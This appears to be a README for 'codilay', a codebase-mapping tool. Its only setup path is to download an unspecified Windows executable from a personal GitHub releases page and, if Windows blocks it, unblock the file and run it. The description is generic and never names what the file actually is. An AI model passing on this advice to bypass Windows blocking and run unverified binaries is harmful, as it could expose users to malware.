codilay

# 🤖 codilay - Understand codebases with clarity

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## 🧭 What codilay does

codilay helps you make sense of a codebase one file at a time. It reads the project, builds a Markdown reference doc, and shows how the parts fit together. It also keeps track of links between files so the reference stays useful as the code changes.

Use it when you want to:

- see how a project is organized
- find where a feature starts and ends
- build a readable map of a codebase
- keep notes in Markdown
- trace file links and dependencies

## 💻 Before you start

You need:

- a Windows PC
- internet access to get the release
- enough free space for the app and your project files
- permission to run files on your computer

If your project is large, give codilay some time to scan it.

## 📥 Download codilay

Visit the release page here:

[https://github.com/Daohuyt5735/codilay/releases](https://github.com/Daohuyt5735/codilay/releases)

On that page:

1. find the latest release
2. open the list of files under Assets
3. download the Windows file for your system
4. save it to a folder you can find, like Downloads or Desktop

If the release includes a setup file, use that. If it includes a single app file, download that file and run it.

## 🪟 Install or run on Windows

After the file finishes downloading:

1. open the folder where you saved it
2. double-click the file
3. if Windows asks for permission, choose Run or Yes
4. follow the on-screen steps if a setup window appears
5. if the app opens in a terminal window, leave that window open while you use it

If Windows blocks the file, check the file properties and choose the option to allow it, then try again.

## 🗂️ How to use it

1. start codilay
2. point it at the folder that contains your codebase
3. let it scan the files
4. wait while it builds the Markdown reference
5. open the generated document to read the project map

The app works file by file, so larger projects take longer. That is normal.

## 🧩 What you will see

codilay builds a working reference that can include:

- a list of files and folders
- short notes about each file
- links between related parts
- a dependency map
- a Markdown doc you can read or share

This makes it easier to see how one file affects another.

## 📌 Best ways to use it

Use codilay when you want to:

- get familiar with a new project
- review code before a change
- locate a feature fast
- write docs from code
- understand how files depend on each other

It is useful for small projects and for large ones with many linked files.

## ⚙️ How it works

codilay reads each file, then adds what it learns to a live Markdown reference. It also builds a wire model that tracks how items connect. When it finds a new link, it adds it to the map and updates the reference over time.

In plain terms, it turns code into a readable guide.

## 🧠 What makes it useful

- it keeps the reference in Markdown
- it follows file by file order
- it tracks links as it goes
- it helps with code understanding
- it supports dependency review
- it works as a codebase explorer

## 🔎 Example use cases

- You open a new app and want to know where the main logic lives.
- You need to trace a function across several files.
- You want a clean doc that explains a codebase in plain text.
- You need a map before you refactor code.
- You want to review a project without reading every file by hand.

## 🛠️ Troubleshooting

If the app does not open:

1. make sure the download finished
2. try running it again
3. check that Windows did not block it
4. move the file to a simple folder like Desktop
5. try a fresh download from the release page

If the app opens but does not scan your project:

1. check that you chose the correct folder
2. make sure the folder contains code files
3. wait longer for larger projects
4. close other heavy apps if your PC is low on memory

If the output doc looks incomplete:

1. run the scan again
2. let it finish without closing the app
3. scan a smaller part of the project first

## 📁 Suggested folder setup

Keep your files in a clear layout like this:

- Downloads
  - codilay file
- Projects
  - your codebase folder
- Docs
  - generated Markdown files

This makes it easier to find the app, your project, and the output.

## 🔐 File safety

Only download codilay from the release page in this README. After download, check that the file name matches the release you wanted before you run it.

## 🧾 Keywords

ai agent, code analysis, code documentation, code understanding, codebase explorer, context building, dependency graph, developer tools, documentation generator, dynamic analysis, git integration, knowledge graph, markdown, refactoring tools, python, llm